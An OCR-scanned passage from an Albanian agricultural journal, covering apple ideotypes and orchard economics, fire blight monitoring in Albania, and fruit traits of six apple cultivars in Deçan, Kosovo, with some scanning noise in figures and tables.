tregut éshté pér fruta té kalibruara dhe té shéndetéshme. Procesi i rrallimit té frutave,
konsiderohet sot si njé proces racional pér té ruajtur nivelin e fitimit pér ¢do njési
ngastre.

Pérfitimet ekonomike

Nése do té llogariten té ardhurat neto pér njé sipérfage prej njé ha té mbjella me
drithéra, perime apo dru frutorin e mollés, pa asnjé dyshim gé do té pohonim se
fitimi do té ishte tepér i madh me shitjen e produktit té mollés.

Sipas intervistave té grumbulluara prej kultivuesve té mollés, llogaritet njé fitim neto
gé shkon nga 80 000 deri né 100 000 leké pér hektaré. Ja disa nga pérparésité e kétij
dru frutori né garantimin e té ardhurave financiare:

1. Varitetet e reja me nénshartesa vegjetative futen shpejt né prodhim, madje

gé né vitin e 3-té té krijimit té plantacionit.

2. Kurora e vogél garanton prodhime cilésore, madje 85% e prodhimit té frutit
éshté e cilésisé sé paré, késhtu gé té ardhurat rriten artificialisht mbi 20%.

3. Varietet e reja né kultivim shquhen pér parametra té larté kimiké né frut si:
Iéndé e thaté, raporte té drejta sheqger — aciditet, shkallé té larté né Briks, té
gjitha kéto zgjatin kohén e konservimit té frutit pa ndikuar né cilési, e pér
rrjedhojé fruti zotéron cilési té larta organo — leptike.

Molla e sé ardhmes

Té gjitha pérpjekjet, qofté pér krijimin varietal apo zbatimin e agroteknologjisé,
kané si géllim arritjen e objektivit, fitimin neto té frutikulturistit.
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Te dru frutori i mollés, studimi i variabilitetit te
shogérohet me pércaktimin e ideotipeve arkitekturale
té tillé:

Ideotipi |

Pérfagéson njé pemé tip

-

gjatésiné e tij zéné vend deg

Ideotipi Il

Ky ideotip paragitet te
hibrideve té seleksionuara
Delicious. Sythat frutoré
vjegare.

L

L

-
.

/*"Jrv\

P‘:b

R
noud

o

’)—44«

L 2

).

specia e kultivuar e mollés,
. Sot ekzistojné katér ideotipe,

kolone. Ky tip preferohet né

rajonet anglo — saksone. Pérfagésohet nga njé aks, ku né

ézat frutore.

Ideotipi 11 Ky ideotip quhet
Shkallare / alteruar.
Karakterizohet nga njé
formacion i degézimeve té
shkurtra.

shumica e varieteteve dhe
né vecanti te varieteti Golden
vendosen né degét 2 — 4

Ideotipi IV

Kemi té bé&jmé me njé ideotip
natyral, me dominancé té
dobét té trungut kryesor, i
favorizuar nga zhvillimi i
degéve  frutore  anésore.
Sikundér shihet nga skema,
ky ideotip nuk favorizon
mekanizimin.

Pértej variabilitetit té situatave té paraqitura prej Kultivaréve, objektivat

prioritare mund té klasifikohen né pesé rubrika.

a) Prodhimi dhe rregullariteti i prodhimit vjetor
b) Rezistenca ndaj parazitéve dhe démtuesve
c) Cilésiae frutave
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d) Prodhime me kosto té ulét
e) Efikasiteti i nénshartesave

Nése prodhimi bruto nuk mjafton pér té siguruar njé bilanc ekonomik pozitiv,
atéheré vémendja duhet kthyer te cilésia. Rast i vecanté i prodhimit té dobét, éshté
pamjaftueshméria e té ftohtit diméror pér zgjimin e sythave nga gjumi. Tipari
“ekzigjencé e dobét ndaj té fiohtit diméror” paraqget trashégimi té larté dhe éshté
introduktuar lehtésisht te varieteti i mollés Granny Smith.

Rregullariteti vjetor i prodhimeve éshté njé karakteristiké e frutit t& mollés, po
aq i réndésishém sa dhe potenciali i prodhimit. Dy faktoré i shogérojné crregullimet
e prodhimit:

1. Alternanca e cila éshté efekt i formimit té frutave té vitit (n) mbi induksionin

e luleve gé do té lulézojné né vitinn + 1

2. Aksidentet klimaterike gé kompromentojné frutifikimin. Béhét fjalé pér
ngricat dimérore dhe sidomos ato pranverore gé shkatérrojné lulet, apo dhe
pér kushtet tepér té disfavorshme né trasportin e polenit nga aktiviteti i
insekteve polenizuese.

Krijimi i varieteteve me lulézim té vonshém, si: Granny Smith dhe Fuji, redukton
statistikisht rreziget e shkatérrimit té luleve prej temperaturave té larta.

Drufrutori i mollés ka kortezhin e vet té parazitéve dhe démtuesve mé
shumé ose mé pak démprurés né zhvillimin e drurit, né produktivitetin e frutave dhe
né cilésiné e tyre. Lufta kimike e integruar ka lejuar me sukses té sigurt té
kontrollojé shumicén e kétyre parazitéve. Sa mé shumé gjene té rezistencés té
zotérojé njé kultivar molle, ag mé té pakta jané shpenzimet pér luftén kimike. |
gjithé procesi gjenetik né nivelin e rezistencés ndaj parazitéve dhe démtuesve do té
lehtésojé punén pér krijimin e metodologjisé sé suksesshme. Te drufrutori i mollés
konsumatori dallon 5 tipe cilésish:

Pamjen

Cilésiné gustative
Cilésiné e pérdorimit
Cilésiné dietetike
Cilésiné gjenetike

g b e

Té gjitha kéto veti pérbéjné diferencimin sipas cilésisé. Prodhimet me kosto té
ulét jané njé tjetér objektiv i frutikulturistit. Finalizimi i kétij objektivi lidhet me
aplikimin e teknikave kulturale moderne.
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Efekti i nénshartesés

Aftésia né shumeézimin vegjetativ pér nénshartesat klonale, éshté kusht i
domosdoshém. Sot, ekzistojné nénshartesa me shumézim nga farat gé e kané
burimin nga polenizimi i liré e g& mund té jené krygézime midis kloneve.

Sensibiliteti ndaj parazitéve dhe démtuesve éshté njé tjetér shgetésim. Krijimi i
nénshartesave t& mollés rezistente ndaj morrit té€ pérgjakshém éshté njé shembull
tipik i introgresionit t&é mekanizimeve gjenetike té rezistencés.

Pérfundime

Drufrutori i mollés éshté specia kryesore e drufrutoréve né rajonin e Korgés me gati
82% té strukturés varietore.

Kultivarét Golden Delicious dhe Starking jané kultivarét bazé té cilét kapin 72% té
strukturés varietore.

Kultivarét e mollés me nénshartesé vegjetative jané faktor kryesor i intensifikimit té
pémishtes, duke rritur numrin pér njési té sipérfages deri né 1500 — 2000 rrénjé/ha.

Kultivarét e rinj Fuji, Gala, Kiku etj, jané kultivaré té perspektivés, me rezistencé té
larté ndaj parazitéve si kromés, hirit, njollosjes sé frutit.

Bibliografi

Arnoux, N., “ Le marché mondial de la pomme ”, 1990.

Cheureau, E., “ The pattern of inheritance in apple ”, 1989.
Cheureau, E., “Biotechnologies et amelioration du pommien ”, 1990.
Wartking, R., “ Fruit breeding methodology”, 1970.

Zhang, Y.X., “ Etude cysologique de quelque clones diploides et poliploides du
pommier”, 19809.

43



MONITORIMI | ZJARRIT BAKTERIAL (ERWINIA AMYLOVORA) NE
DISA ZONA PRODHUESE TE MOLLES NE SHQIPERI

Dhurata Shehu, Harallamb Page
Universiteti Bujgésor i Tiranés, Fakulteti i Bujgésisé dhe Mjedisit
Departamenti i Mbrojtjes sé Biméve

Pémbledhje

Shqipéria si vend mesdhetar dhe me njé ndikim kontinental né zonén lindore té saj,
ka kushte té pérshtatshme pér rritjen e druréve frutoré-faroré. Kéto kushte, si dhe
prania e biméve bujtése té egra pjestare téfamiljes Rosaceae, e cila éshté strehuese
pér patogjenin Erwinia amylovora, kanékrijuar premisapér pérhapjen e tij né té
gjithé territorin e vendit. Q& nga sinjalizimet e hershme né vitin 1968 nga
Universiteti Bujgésor i Tiranés e deri né ditét e sotme, kur shtimi i sipérfageve té
mbjella me druré frutoré -faroré dhe prodhimi i materialit mbjellés fidanoréshté njé
proces me njé ecuri té vazhdueshme, sémundja e zjarrit bakterial mund té keté
pérhapje té métejshme. Nga monitorimi i vazhdueshém i zjarrit bakterial, realizuar
nga ky studim, kané rezultuar situata t& ndryshme fitopatologjike pérsa i pérket
gjendjes dhe pérhapjes sé sémundjes.ldentifikimi i patogjenit u krye né mostrat
bimore té grumbulluara gjaté periudhés vegjetative té biméve, té cilat iu nénshtruan
analizave té métejshme laboratorike pér té pércaktuar statusin e tyre, lidhur me
prekjen ose jo nga ky patogjen.

Key words : Erwinia amylovora, monitorimi, frutore farore.

Abstract

Albania as a Mediterranean country with a continental influence in its eastern area
has suitable conditions for growth of pome fruits. These conditions as well as the
presence of wild host plants, members of the Rosaceae family, host for pathogen
Erwinia amylovora, which is the cause of this disease have created an ambience for
its spread in all the country. Since the early warnings in the year 1968, by the
Agricultural University of Tirana, till now, where adding planted surfaceswith pome
fruits and planting material production, is a process with a continuous performance,
fire blight disease may has spread further. By continuous monitoring of the disease
carried by this study, have resulted in different situations phytopathology regarding
the situation and diseases spread .The identification of pathogen was conducted in
plant samples collected during the vegetation period of plants, which succumbed to
further analysis laboratory to determine their status on the touch or not by this
pathogen.

Key words: Erwinia amylovora, monitorimi, frutore farore.

44



Hyrje

Zjarri bakterial éshté njé sémundje fitopatogjene nga mé té rrezikshmet e dru-
frutoréve né té gjithé botén. Duke ditur rrezikshmériné e sémundjes, efektin
shkatérrues gé ka, themi se monitorimi i saj shérben pér t& mbajtur nén kontroll dhe
pér té shmangur rrezikun e saj né pemétari. Bakteri Erwinia amylovora éshté njé
objekt karantinor pér vendin toné (VKM 750, 2011) prandaj edhe zjarri bakterial
éshté konsideruar njé objekt monitorimi i vazhdueshém.Pérsa i pérket pérhapjes né
Shqipéri,té késaj sémundje bakteriale, sipas disa vrojtimeve simptomatologjike té
kryera névitin 1968 nga Universiteti Bujgésor i Tiranés (Hasani, etj., 1995) ka dalé
se: me disa dardhé té importuara dhe té mbjella né zonén e Pogradecit ka hyré né
vendin toné zjarri bakterial i peméve frutore i shkaktuar nga bakteri Erwinia
amylovora. Né vendet fginje, si: Gregia sémundja éshtéraportuar né 1986, né
Magedoni né 1987 dhe né Itali mbas vitit 1992. Pas vitit 1990 nga Instituti i
Mbrojtjes sé Biméve u ndérmorén studime té programuara né punén kérkimore-
shkencore pér zjarrin bakterial. Kéto studime konsistuan né monitorimin e
sémundjes né shkallé vendi, pasurimin e procedurave té identifikimit té patogjenit
me futjen e metodave té bioteknologjive té reja etj., (Page, 2005). Né vitin 1995 ka
filluar njé monitorim i gjeré i pérhapjes sé sémundijes né vendin toné. Pérsa i pérket
pranisé sé sémundjes né mollé ajo u konstatua pér heré té paré né vendin toné né
Korgé (Vingan) e mé pas né Berat (Donofrosé) e mé voné né Fier (Luaré) e
Peshkopi., ndérsa mbi ftua né Kavajés (ish-fidanishtja Kryeluzaj), Korgé (Dvoran),
Durrés (Shkallnur), Fier (Luaré) dhe Kolonjé (qytet), (Page, 2005). Njé rregullore e
vecanté mbi zjarrin bakterial, ku pasgyrohen edhe direktivat e Bashkimit Evropian
dhe ato té Organizatés Evropiane té Mbrojtjes sé Biméve (EPPO), bén fjalé mbi
rregullat pér importimin dhe lévizjet e tjera té biméve strehuese té sémundjes,
mbjelljet e reja, kontrollin né fushé etj. Né ditét e sotme mbjelljet e reja té peméve
frutore po béhen kryesisht me material mbjelles té importuar ose dhe té prodhuar né
vend, prandajburimi kryesor i sémundjes éshté materiali mbjellés i importuar.

Materiale dhe metoda

Ky studim,éshté kryer gjaté viteve 2010 — 2012 kryesisht né rrethet Shkodér, Malési
e Madhe, Puké, Tirané, Pogradec, Korc¢é e Bilisht. Vrojtimet u kryen né fidanishte,
népemétore mémé e né prodhim, né oborre familjare, si dhe né kampionet e sjella né
laborator nga subjekte té ndryshme pér speciet mollé, dardhé e ftua.Nga kéto
vrojtime u grumbulluan materiale bimore té dyshimta me shenja té sémundjes.Kétij
studimi i kanéshérbyer pjesérisht edhe analizat laboratoriketé fidanéveté ardhur nga
subjekte t& ndyshme té vendit.Monitorimi né fushééshté kryer né periudhén maj —
shtator, si periudha mé e favorshme pér zhvillimin e sémundjes dhe shfagjen e
simptomave.Kampionet e marra pérbéheshin nga gjethe, lastaré, degé, lévore, luléri
e fruta té prekur.Ato u futén né gese plastike dhe u sollén né laborator ku u ruajtén
né frigorifer né temperaturé 4 — 5°C derisa u analizuan. . Kéto mostra u pérpunuan
né laborator né mjedis ushqyes artificial NSA e King B.

Mijedisi NSA (Garrett et al 1966) Bacto nutrient broth 8.0 gr,Sucrose50.0 gr,Bacto
agar 15.0 gr, Ujé i distiluar 1000.0 ml
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Mjedisi King B (King et al 1954) Proteose peptone n.3. (Difco) 20.0 gr, Fosfat
bipotasik (K,HPO,) 1.5 gr, Sulfat magnezi (MgSQ, . 7H,0) 1.5 gr, Gliceriné 10.0
ml, Bakto — Agar 15.0 gr, Ujé i distiluar 2000.0 ml

ME pas u pérdor ngjyrimi i baktereve me metodén e gramit sipas késaj procedure.
a)Ngjyrim me solucion Gentian violet pér 2 minuta.

b)Shpélarje me ujé.

¢)Solucion Lugoli 1 — 1.5 minuta.

d)Shpélarije.

e)Shpélarje me alkool pér 1 minuté.

f)Ngjyrimi me Fuksiné pér 2 minuta.

g)Shpélarje me ujé dhe tharje me letér thithése, pastaj vrojtohet né mikroskop

Mé pas pér identifikimin e patogjenit né kushte laboratorike u veprua né kété
Mmenyre:

-Vrojtimi makroskopik i simptomave.

-1zolimi né kulturé té pastér nga mostrat me shenja té dyshimta sipas metodés Lelliot
e Stead (1987).

-ldentifikimi i patogjenit pérmes karakterizimit t€ cilésive morfologjike dhe
patogjenike.

Bazuar né rezultatet e fituara nga monitorimi né fushé dhe analizat laboratorike mbi
identifikimin e patogjenit u pérpiluan harta té zonave té monitorimit me pérmbajtje
informacioni mbi praniné e sémundjes, pikérisht né pikat e grumbullimit témostrave.

REZULTATE DHE DISKUTIME

Nga vrojtimet né kéto rrethe u konstatua se jo té gjitha pemétoret kishin njé
menaxhim té miré té gjendjes fitosanitare, pasi u konstatuan edhe sémundje té tjera,
si :Venturia inaequalis, Botrytis cinerea dhe Cacopsylla pyri. e cila ka simptoma té
ngjashme me zjarrin bakterial. Né vendet ku kemi monitoruar u morén kampione
néperiudhén maj-shtator, me shenja té dyshimta gé jané té ngjashme me zjarrin
bakterial. Kéto mostra u pérpunuan né laborator némjedise me ushqgyes artificial
NSA e King B gé kemi pérmendur mé sipér. Mé pas u bé prova e patogjenitetit duke
inokuluar patogjenin né fruta térejadardhe. Né frutat e inokuluara artificialisht u
shfagén simptomat e sémundjes, si: nxirja e indeve dhe eksudati bakterial.

Si pérfundim rezultoi kjo situatéfitosanitare sipas rretheve :
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Harta NR 1 Rezultatet e monltorlmlt né rrethln e Tiranés pér vitet 2010 — 2012.

Pezé Helmés, Ndrog, Qinam
(Pa Infeksion)

Zhurie, Laknas, Sauk
(Me Infeksion)

Ne. SPEOINA.. 2
Ne V|t|n 2011 né periferi té Tiranés (Sauk) u gjendén vatra té zjarrit bakterial
nédardhé. Né Lakaspo nékétévit u gjendén vatra té reja né dardhé, ndérsa né Zhurje
nga viti 2010 vatra té reja né mollé, dardhé dhe ftua.

Harta nr.2 : Rezultatet e monitorimit né rrethet Shkodér, Malési e Madhe, Puké pér
vitet 2010 — 2012.

NEGRO v,(m, { Shkrel, Koplik Qendér,
A 5 N\ KO Gruemiré, Velipojé, Dajc,
o . LS o~ Topol, Bushat, Barbullush,
O LMABILS B Obliké, Luf
Sl | 3 Ty i (Pa Infeksion)

L‘(‘-—\\.:

Né vitet e méparshme éshté zbuluar né Bushatzjarri bakterial,(referuar Pace,H) por
mé voné si rezultat i reduktimit té numrit t& peméve frutore né vitet e ndryshimit té
sistemit dhe prerja e peméve téinfektuara ka cuar né eleminimin e vatrés sé
infeksionit nga kjo sémundje.
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Harta nr.3 : Rezultatet e monitorimit né rrethetKorcé, Pogradec, Bilishtpér vitet
2010 — 2012.

“fl Pogridge b % v | . Bulgarec (KO)
3 COGINING 2 ) l—— (Me Infeksion)
wa =11 Lo e . __,J'-fi 1
- rrl'-zlal.lhri'.:t" - \-.‘1
Korgae /" \BTSR 2 Tushemisht (PG)
Ll . Bagcallék (PG)
il Rémbec (KO)
Dvoran (KO)
Bilisht (BI)
Erseké (ER)

(Pa Infeksion)

Gjaté vitit 2012 u shfag njé vatér e re e zjarrit bakterial né mollé dhe dardhé, né
Bulgarec té Korgés.Korga si vénd me njé numér témadh pemésh frutore-farore dhe
kryesisht pér prodhim molle, pérbén njé rrezik té métejshém pér pérhapjen e zjarrit
bakterial (Erwinia amylovora).

Pérfundimi

1.Monitorimi i zjarrit bakterial ( Erwinia amylovora ) merr njé vleré té vecanté, pasi
né ditét e sotme janéshtuarsipérfage t& mbjella me pemé frutore farore nga materiali
mbjellés i importuar, ose i prodhuar né vend, ndaj rreziku i prekjes nga kjo sémundje
éshté mé i madh.

2.Népérmjet monitorimit arrihet zbulimi i vatrave primare, né ményré gé té merren
masa adekuate mbi ¢rrénjosjen, kur éshté e nevojshme dhe kufizimin e pérhapjes
duke u bazuar néaplikimin e njéhershém té strategjive té ndryshme té mbrojtjes.

3.Puna monitoruese jep informacione mbi pérhapjen e zjarrit bakterial dhe marrjen e
masave specifike legjislative.

4.Duke gené se zjarri bakterial éshté njé ndér objektet mé té réndésishme
fitopatologjike, duhet synuar né hartimin e njé strategjie kombétare pér té€ mbajtur
nén kontroll kété sémundje té rrezikshme pér pemét frutore-farore.

5.Nga monitorimi i kryer gjaté vrojtimeve né fushé u grumbulluan mostra
tédyshimta nga specie bimore molle, dardhédhe ftua ku si rezultat i analizave té
métejshme laboratorike jo né té gjitha mostrat u pércaktua prania e sémundjes sé
zjarrit bakterial.

6.Prania e sémundjes sé zjarrit bakterial dhe identifikimi i patogjenit Erwinia
amylovora u konstatua né Zhurie, Laknas, Sauk (pér rrethin e Tiranés), dhe Bulgarec
(pér rrethin e Korgés).
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7.Nga monitorimi i sémundjes né zonat e pérfshira né studim: rezultoi se sémundja
ka vatra pérhapjeje néShqipéri duke pérbéré njé rrezik pér shtrirjen e saj té
métejshme pér pemét frutore-farore.
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Pérmbledhje

Studimi u krye né vitet 2010-2012 né Deqgan té Kosovés. U studiua shprehja e
treguesve kryesoré té frutit t€ 6 kultivaréve té rinj molle. Pesha mesatare e frutit
varion nga 93. 3 gr (Delicious i Arté kloni B) né 184. 2 gr (Jonagored). Kultivari
Saturn zhvillon frutat me pérmasa mé té médha (80 x 84 mm), ndérsa Montear Gala
zhvillon frutat me madhési mé té vogél (58 x 70 mm). Pérmbajtja e 1éndés sé thaté
né frut varion ngald. 6% (kultivarét Saturn dhe Montear Gala) né 16. 5% (Royal
Gala) dhe 16. 7% (Delicious i Arté kloni B). Pérmbajtja e shegerit né frut varion
nga 11. 33% (Royal Gala) né 12. 7% (Saturn). Aciditeti i pérgjithshém varion nga
0. 250 mg/100 gr fruta té freskét (Saturn) né 0. 395 mg/100 gr fruta té freskét
(Royal Gala). Ndérmjet kultivaréve ekzistojné ndryshimet té vértetuara statistikisht
pér treguesit e analizuar té frutit. Ndérmjet disa treguesve té analizuar té frutit
ekziston lidhje e forté korrelative.

Fjalé kyce. frut, kultivar, mollé, tregues, 1€ndé e thaté, pérmbaytje.

Abstract

Study was conducted during three consecutive years, 2010-2012, in Degan of
Kosovo. There was studied the expression of the main fruit indicators of six new
planted apple cultivars. Mean fruit weight varied from 93. 3 g (Gold Delicious
clone B) to 184. 2 g (Jonagored). Saturn apple cultivar produced the largest size
fruit (80 x 84 mm), while Montear Gala produced the lowest size fruit (58 x 70 mm).
Fruit dry matter content varies from 14. 6% (Saturn and Montear Gala cultivars) to
16. 5% (Royal Gala), and 16. 7% (Gold Delicious clone B). Fruit sugar content
varies from 11. 33% (Royal Gala) to 12. 7% (Saturn). Total fruit acidity varies
from 0. 250 mg/100 g fresh fruit (Saturn) to 0. 395 mg/100 g fresh fruit (Royal
Gala). There were found significative differencies between cultivars for the main
tested fruit indicators. There was found a significative relationship between some
fruit indicators, as well.

Key words. apple, content, cultivar, dry matter, fruit, indicator
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Hyrje

Molla e ka origjinén nga vendet e Azisé Lindore, si Kina, Japonia dhe Rusia. Bén
pjesé né familjen Rossaceae, gjinia Malus, me lloje pak a shumé té ngjashme gé
shartohen lehté mbi njéra-tjetrén. Molla bén pjesé né grupin e faroréve gé formojné
fruta té rremé sepse né procesin e formimit té frutit merr pjesé edhe shtrati i lules
(Cakalli D & Thomai T, 2005; Ferraj B, 2009). Antioksidantét qé ndodhen né
Iéngun e mollés ndihmojné né uljen e sasisé sé kolesterolit, né parandalimin e
sémundjeve kardiovaskulare dhe né parandalimin dhe zvogélimin e infeksioneve né
zorrén e trashé dhe mélgi. Potasi qé pérmban molla ndihmon né rregullimin e
presionit té gjakut. Frutat e mollés nuk pérmbajné yndyré, kolesterol apo natrium.
Frutat e mollés pérmbajné kalori, proteina, vitaminat A, B;, B,, C dhe minerale té
domosdoshme pér shéndetin e njeriut, si P,Os, Mg, Fe dhe K (Zajmi A, 1997).

Molla éshté bimé e géndrueshme ndaj temperaturave té ulta té dimrit. Kultivari mé
delikat, Reneta e Kanadasé, démtohet né rast se temperatura bie nén -27°C, ndérsa
kultivaré té tjeré durojné zbritjen e temperaturés sé ajrit deri né -35°C. Molla e ndjen
shumé mungesén e lagéshtirés ajrore, sidomos né ditét e nxehta me temperatura
>35°C. Indikatori mé i miré éshté gjatésia e sezonit té rritjes, numri i ditéve me
temperaturé ditore mesatare mbi + 5°C (zeroja biologjike e mollés) gé duhet té jeté
mbi 235 dité (Ferraj B, 2013).

Sipas té dhénave t&¢ FAO-s, shtimi i prodhimit botéror t¢ mollés né vitin 1990 ka
gené 10. 7% krahasuar me 1980, ndérsa né vitin 2000, 36. 7% (Zajmi A. , etal. ,
2005).

Pér fisnikérimin dhe pérhapjen e peméve frutore éshté e nevojshme njohja sa mé e
miré e ményrés dhe e nivelit té shfagjes sé karaktereve té tyre vegjetative dhe
prodhuese, ndérsa specializimi i kultivaréve té mollés sipas destinacionit té
prodhimit, varet nga pérbérja kimike e frutit (Shala A. , 1995).

Kultivari “Red Falstaff” &shté njé klon i “Falstaff” (James Grieve x Golden
Delicious), pérfituar né vitin 1983 né Northfolk té Mbretérisé sé Bashkuar. Ka frut
me ngjyré té kuge rubin, tul t& émbél, t& 1éngshém, kércités, me shije t& miré, éshté
kultivar i pérshtatshém pér prodhimin e Iéngut. Jonagored é&shté njéri nga klonet mé
té miré té Jonagold-it. Ka ngjyré té kuge té mbyllur, me viza té kuqe té erréta, shije
dhe aromé té mjaltit, éshté e géndrueshme né ruajtje pér njé kohé té gjaté (Ferraj B.
, 2013).

“Delicious i Arté B” éshté seleksionuar né Hollandé dhe po e zévendéson me sukses
kultivarin bazé, “Deliciuos i Arté”, ndérsa “Montear Gala” piget né fillim té
shtatorit, ngjyra bazé e frutit &shté e verdhé e mbuluar me ngjyré té kuge, pema hyn
herét né prodhim dhe jep rendimente té rregullta dhe té larta (MADA, 2010).
Kultivarét e mollés ndryshojné ndérmjet tyre né lidhje me ngjyrén, formén dhe
madhésiné e frutit. Ata ndryshojné gjithshtu pérsa i pérket destinacionit té
prodhimit, gé varet nga pérmbajtja e sheqerit, 1éndés sé thaté dhe aciditetit
(Hessayon DG. , 2004).

Pér té vértetuar me saktési matematikore ekzistencén e ndryshimeve ndérmjet
kultivaréve, pérdoren analizat statitistikore té Deskripsionit dhe Dispersionit
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(variancés), ndérsa pér té provuar shkallén e lidhjes ndérmjet tipareve té studiuara
(tipareve vegjetative, prodhuese, etj), pérdoret analiza e korrelacionit, bazuar né
treguesit biometriké dhe treguesit e analizave kimike (Susaj L. , 2012).

Né rast se vlera e treguesit statistikor té variancés F-jjogaiwr, €shté mé e madhe se
vlera e tabelare F-gitic, Si dhe vlera e llogaritur e propabilitetit P-,, rezulton té jeté
mé e vogél se vlera e koeficientit té siguris€ o = 0. 05 (me 95% siguri), themi se
kemi té béjmé me dy bashkési numerike té ndryshme (Papakroni H. , 2001).

Materiali dhe metoda

Studimi u realizua né pemétoren me mollé 4-vjecare, proné e z. Bajram Dervishi, né
fshatin Irzniq té Deganit né Kosové, me géllim pércaktimin e vlerave mesatare té
treguesve kryesoré frutit, si peshés mesatare, madhésisé dhe treguesve kimiké té
frutit, me géllim pérhapjen e kultivaréve mé té miré né kushtet klimatike e tokésore
té Deqganit. Objekt i studimit ishin 6 kultivaré té rinj molle, Jonagored, Red Falstaff,
Saturn, Delicious i Arté kloni B, Rojal Gala dhe Montear Gala, té shartuar mbi
nénshartesén me rritje té kufizuar East Malling 9 (EM-9).

Pemétorja éshté mbjellé mé 15 néntor 2007. Pér mbjellje jané pérdorur fidané me
moshé 2- vjecare me nga 3-4 degé té zhvilluara. Aktualisht bimét jané né prodhim té
ploté.

Matjet pér pércaktimin e peshés dhe madhésisé sé frutave jané kryer né kohén e
vjeljes né fushé, ndérsa analizat pér pérmbajtjen e ujit, Iéndés sé thaté, aciditetit dhe
sheqgerit né frut jané kryer né Institutin Bujgésor té Pejés.

Eshté pérdorur skema “bllok i randomizuar”, me gjashté variante dhe Katér
pérséritje, me nga pesé bimé/variant, gjithse 120 bimé [(6 variante x 5 bimé/variant)
X 4 pérséritje].

Pér cdo variant (kultivar) dhe pérséritje jané matur, analizuar dhe pérllogaritur vlerat
mesatare té treguesve té prodhimtarisé, si pesha mesatare e frutave, bazuar né njé
mostér 5 kg/kultivar/pérséritje), diametri mesatar gjatésor dhe térthor i frutit (mm),
pérmbajtja e 1éndés sé thaté dhe lagéshtirés sé frutit (%), pérmbajtja e shegerit (%),
aciditeti (mg/100 fruta té freskéta). Mbi bazén e kétyre treguesve éshté gjykuar pér
secilin kultivar né lidhje me té ardhmen e tij né strukturén varietore té pemétoreve té
reja té mollés né rajonin e Deqganit.

Pér té rritur saktésiné e pérfundimeve dhe pér shkak té matjeve té shumta, éshté
pérdorur analiza matematikore e rezultateve. Pér llogaritjen e vlerés mesatare,
vlerave maksimale dhe minimale té treguesve té frutit dhe shkallés sé ndryshimit
ndérmijet kultivaréve éshté pérdorur analiza e deskripsionit; pér té vértetuar
ndryshimin ndérmjet kultivaréve éshté pérdorur analiza e dispersionit (variancés),
ndérsa pér té vértetuar shkallén e lidhjes ndérmjet tipareve té analizuara éshté
pérdorur analiza e korrelacionit (Papakroni H, 2001; Susaj L, 2012). Né té gjithé
sipérfagen e pemétores ku éshté ngritur eksperimenti éshté zbatuar e njéjta
agroteknologji, si rrjedhim, ndryshimet né vlerat mesatare té treguesve té matur jané
ndryshime qgé rrjedhin nga vecorité e kultivarit dhe nga shkalla e pérshtatjes sé tij me
kushtet klimatike e tokésore té rajonit t& Deqganit.
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Rezultatet dhe diskutimi i tyre
Treguesit klimatikeé té rajonit

Nga analiza e treguesve klimatiké, rezulton se rajoni i Deganit té Kosovés éshté
shumé i pérshtatshém pér kultivimin e 6 kultivaréve té mésipérm té mollés.
Temperatura mesatare vjetore e ajrit éshté 12. 8°C, muaji mé i ftohté éshté janari me
temperaturé mesatare -2, 5°C dhe muaj mé i nxehté éshté gushti me 29. 8°C.
Lagéshtira relative e ajrit luhatet né kufijté 51-83% dhe nuk pérbén shgetésim pér
kultivarét e mollés. Bien mesatarisht 856. 1 mm reshje shiu (me shpérndarje jo té
rregullt) né vit. Gjaté periudhés gershor-shtator, kur molla ka kérkesat maksimale
pér ujé, bien vetém 208. 1 mm shi ose 23. 4% e reshjeve vjetore. Kjo, déshmon se
ujitja e pemétoreve té mollés éshté njé domosdoshméri. Temperatura mé e ulét (né
janar) né Degan ka zbritur né -18°C, gjé qé nuk pérbén rrezik pér mollén sepse
duron deri né -35°C.

Edhe lagéshtira relative e ajrit e favorizon kultivimin e mollés. Vlera mesatare
shumévjecare e lagéshtirés relative vjetore éshté 66. 6%. Muajt mé té thaté jané
korriku dhe gushti, me vlerat respektive 51 dhe 54%, ndérsa muajt mé té lagésht
jané dhjetori dhe janari, me vlerat respektive 82 dhe 83% (Tabela 1).

Molla né Degan nuk ka asnjé rrezik nga zbritjet e temperaturés sé janarit (ty, = -
7°C) dhe as nga temperaturat maksimale té gushtit (t y.x=31. 2°C).

Tabela 1. Té dhénat mesatare shumévjecare pér treguesit klimatiké té Deqanit,
Kosové

VIM | I i | m v |V VI VIL | VI | IX X Xl X1l Mesatarja
vjetore

tmes -2. 6. [11. | 11. |17.|21. |23. |29. |15 | 10. 8.2 (2.5 |12. 8

7 |5 3 1 7 3 8 8 6

Lagé | 82 74|58 |62 |64 |58 |51 |54 67 70 76 83 66. 6

shtir

a

e

ajrit

%

Era 1.1 (0. |0 1. 1. 1. 1. 1.6/0.9/0.8 |0.7 |1 1.1

(m/s) 9 |6 4 2 5 3

Reshj | 37.3 | 1T | 662 | 579 | 636 | 38.2 | 23.8 [ 532 | 457 |47.2 | 965 | 212 712

et 45

(mm)
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Pesha mesatare dhe pérmasat mesatare té frutave, sipas kultivaréve

Pér té sgaruar sjelljen dhe pérshtatjen e kultivaréve me kushtet agro-ekologjike té
Deqganit, ndryshimin ndérmijet tyre pér shkak té cilésive prodhuese dhe destinacionit,
jané matur treguesit sasioré té frutit, si pesha e frutave (gr), gjatésia e frutave (mm)
dhe gjerésia e frutave (mm). Pesha mesatare e frutave varion nga 93. 3 gr/frut
(Delicious i Arté kloni B) deri né 184. 6 gr/frut (Jonagored). Vlerat mesatare té
peshés mesatare té frutave té kultivaréve té tjeré shtrihen brenda kétij intervali
(Tabela 2, Grafiku 1).

Tabela 2. Vlerat mesatare té treguesve té frutit, sipas kultivaréve

Kultivari Pesha (gr) Gjatésia (mm) Gjerésia (mm)
Redfalstaff 146. 6 70 66
Montear Gala 135. 6 58 70
Royal Gala 139. 9 78 78
Jonagored 184. 2 77 77
Saturn 156. 7 80 84
Delicious i Arté | 93. 3 68 73

B

Pérmasat mesatare té frutave (mm) ndryshojné ndérmjet Kkultivaréve. Vlerat
mesatare mé té larta té pérmasave té frutave jané matur pér kultivarin Saturn (80 mm
X 84 mm), ndérsa vlerat mesatare mé té uléta jané matur pér kultivarin Montear Gala
(58 mm x 70 mm).

Grafiku 1. Pesha mesatare e frutave (gr), sipas kultivaréve
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Ekzistenca e ndryshimit midis kultivaréve pér treguesin “peshé mesatare e frutave”
vértetohet statistikisht. Konkretisht, vlera e probabilitetit (P.,zn. = 0. 00427) < (a.=
0. 05), si dhe vlera (F.j,, = 6. 12104) > (F ;= 5. 050) (Tabela 3).

Tabela 3. Analiza e variancés pér peshén mesatare té frutave (ANOVA-test)

Burimi

variacionit SS ar | Ms F-llog P-value Fcrit
Rreshtat

